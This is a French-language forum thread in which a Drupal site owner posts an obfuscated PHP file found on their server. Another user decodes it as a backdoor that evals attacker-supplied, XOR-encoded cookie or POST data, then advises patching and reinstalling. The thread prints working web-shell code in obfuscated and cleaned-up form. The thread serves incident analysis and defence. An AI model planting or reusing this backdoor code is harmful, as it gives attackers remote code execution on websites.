Hors-sujet

jeudi 21 mars 2019, 09:19  #1
Aide pour décoder une potentielle backdoor
fbst
  • 7 posts

Bonjour à tous,

j’ai retrouvé un fichier php étrange sur mon site et j’aurais besoin d’un petit coup de pouce pour comprendre ce qu’il fait.
Après quelques recherche et tentatives pour l’exécuter sur un environnement de test, il semblerait que ce code en cache un autre, ce qui me fait penser éventuellement à une backdoor.
Le site est sous drupal et je n’ai pas trouvé de référence à ce genre de fichiers dans la doc drupal et mes compétences en php sont assez limitées c’est pourquoi je me permet de me tourner vers vous pour un coup de main.
L’idéal pour moi serait de comprendre ce que fait le code et le résultat final.
voici le code réindenté car il était sur une seule ligne dans un fichier nommé xeftyuew.php

<?php
$rjtfqjw 
'ic5dul7_kamrxbn0o6\'ep#t*gH8yf-2v4s';
$lwnsqn = Array();
$lwnsqn[] = $rjtfqjw[25].$rjtfqjw[23];
$lwnsqn[] = $rjtfqjw[21];
$lwnsqn[] = $rjtfqjw[19].$rjtfqjw[28].$rjtfqjw[30].$rjtfqjw[13].$rjtfqjw[28].$rjtfqjw[17].$rjtfqjw[15].$rjtfqjw[3].$rjtfqjw[29]
.
$rjtfqjw[30].$rjtfqjw[17].$rjtfqjw[13].$rjtfqjw[26].$rjtfqjw[29].$rjtfqjw[32].$rjtfqjw[28].$rjtfqjw[32].$rjtfqjw[6].$rjtfqjw[29]
.
$rjtfqjw[9].$rjtfqjw[2].$rjtfqjw[32].$rjtfqjw[15].$rjtfqjw[29].$rjtfqjw[30].$rjtfqjw[1].$rjtfqjw[13].$rjtfqjw[2].$rjtfqjw[32]
.
$rjtfqjw[30].$rjtfqjw[17].$rjtfqjw[2].$rjtfqjw[2].$rjtfqjw[6].$rjtfqjw[3].$rjtfqjw[17];
$lwnsqn[] = $rjtfqjw[1].$rjtfqjw[16].$rjtfqjw[4].$rjtfqjw[14].$rjtfqjw[22];$lwnsqn[] = $rjtfqjw[33].$rjtfqjw[22].$rjtfqjw[11].$rjtfqjw[7].$rjtfqjw[11].$rjtfqjw[19].$rjtfqjw[20].$rjtfqjw[19].$rjtfqjw[9].$rjtfqjw[22];
$lwnsqn[] = $rjtfqjw[19].$rjtfqjw[12].$rjtfqjw[20].$rjtfqjw[5].$rjtfqjw[16].$rjtfqjw[3].$rjtfqjw[19];
$lwnsqn[] = $rjtfqjw[33].$rjtfqjw[4].$rjtfqjw[13].$rjtfqjw[33].$rjtfqjw[22].$rjtfqjw[11];
$lwnsqn[] = $rjtfqjw[9].$rjtfqjw[11].$rjtfqjw[11].$rjtfqjw[9].$rjtfqjw[27].$rjtfqjw[7].$rjtfqjw[10].$rjtfqjw[19].$rjtfqjw[11].$rjtfqjw[24].$rjtfqjw[19];
$lwnsqn[] = $rjtfqjw[33].$rjtfqjw[22].$rjtfqjw[11].$rjtfqjw[5].$rjtfqjw[19].$rjtfqjw[14];
$lwnsqn[] = $rjtfqjw[20].$rjtfqjw[9].$rjtfqjw[1].$rjtfqjw[8];
 
foreach (
$lwnsqn[7]($_COOKIE$_POST) as $fnrglxa => $kxrqhil){
    function 
yxxizuf($lwnsqn$fnrglxa$nnyhoed){
            return 
$lwnsqn[6]($lwnsqn[4]($fnrglxa $lwnsqn[2], ($nnyhoed $lwnsqn[8]($fnrglxa)) + 1), 0$nnyhoed);
        }
        function 
eyxsy($lwnsqn$altqk){
            return @
$lwnsqn[9]($lwnsqn[0], $altqk);
        }
        function 
gcntghj($lwnsqn$altqk){
            
$iahdk $lwnsqn[3]($altqk) % 3;
                if (!
$iahdk) {
                    eval(
$altqk[1]($altqk[2]));
 
                    exit();
                }
        }
        
$kxrqhil eyxsy($lwnsqn$kxrqhil);
        
gcntghj($lwnsqn$lwnsqn[5]($lwnsqn[1], $kxrqhil yxxizuf($lwnsqn$fnrglxa$lwnsqn[8]($kxrqhil))));
 
 
}

la seule chose que j'ai réussi à sortir est en utilisant une petite boucle pour afficher le contenu de la variable "$lwnsqn"
 
for ($i=0;$i<10;$i++){
    echo $lwnsqn[$i];  
}
et voici le résultat obtenu: H*#ef2bf60d-26b8-4f47-a540-2cb5426557d6countstr_repeatexplodesubstrarray_mergestrlenpack

j'
ai pu également voir que les backdoor pouvaient utiliser la fonction php eval, ce qui est le cas icimais je voudrais comprendre d'abord ce que fait ce code avant de le virer.

Merci d'
avance,

bonne journée

jeudi 21 mars 2019, 09:50  #2
Aide pour décoder une potentielle backdoor
das
das
  • 57 posts

Oui c’est clairement une backdoor, tu t’es fait pwn.

Notamment le premier paragraphe obfusque un tableau de chaines, tu peux le récupérer aisément :

Array
(
   [0] => H*
   [1] => #
   [2] => ef2bf60d-26b8-4f47-a540-2cb5426557d6
   [3] => count
   [4] => str_repeat
   [5] => explode
   [6] => substr
   [7] => array_merge
   [8] => strlen
   [9] => pack
)

En remplacant dans le programme et en refactorant un peu ca donne :

foreach (array_merge($_COOKIE, $_POST) as $key => $value){

   function xorval($key, $length) {
       return substr(str_repeat($key . 'ef2bf60d-26b8-4f47-a540-2cb5426557d6', ($length / strlen($key)) + 1), 0, $length);
   }

   function do_pack($val_to_pack) {
       return @pack('H*', $val_to_pack);         // H* => HexString
   }

   function do_exec($decoded_array) {
       $check = count($decoded_array) % 3;
           if (!$check) {
               eval($decoded_array[1]($decoded_array[2]));
               exit();
           }
   }

   $value = do_pack($value);

   # probably of the form whatever#function#argument
   do_exec(explode('#', $value ^ xorval($key, strlen($value))));
}

Donc l’attaquant te passe un cookie chiffré qui contient une payload à evaluer.

Il faut que tu mette à jour le service, et que tu vérifie si la machine n’a pas été rebackdoorée derrière. Le plus simple étant de tout réinstaller.

jeudi 21 mars 2019, 09:55  #3
Aide pour décoder une potentielle backdoor
fbst
  • 7 posts

ok c’est bien ce qu’il me semblait !
merci à toi.

Du coup le fait de supprimer ce fichier ne changera rien on est d’accord ?
j’essaye de voir si je trouve d’autres pistes mais pour le moment je n’ai rien trouvé d’autre

jeudi 21 mars 2019, 10:05  #4
Aide pour décoder une potentielle backdoor
das
das
  • 57 posts

En supprimant le fichier tu supprime l’accès de l’attaquant de manière temporaire puisque tu n’as pas fermé la brèche par laquelle il est initialement rentré.

Pour trouver par où il est entré il faut regarder si tes composants (drupal notamment) sont bien à jour. La date de la backdoor sur disque peut également aider à corréler avec les logs locaux et les attaques populaires à ce moment.

Bon courage

jeudi 21 mars 2019, 10:08  #5
Aide pour décoder une potentielle backdoor
fbst
  • 7 posts

ok ça marche je vais commencer par là !

je vais essayer aussi de comprendre le code cette fois ci qu’il est un peu plus clair.
C’est pas très clair encore pour ces attaques avec les cookies,

merci à toi en tout cas pour ta rapidité de réponse et ta précision ! :)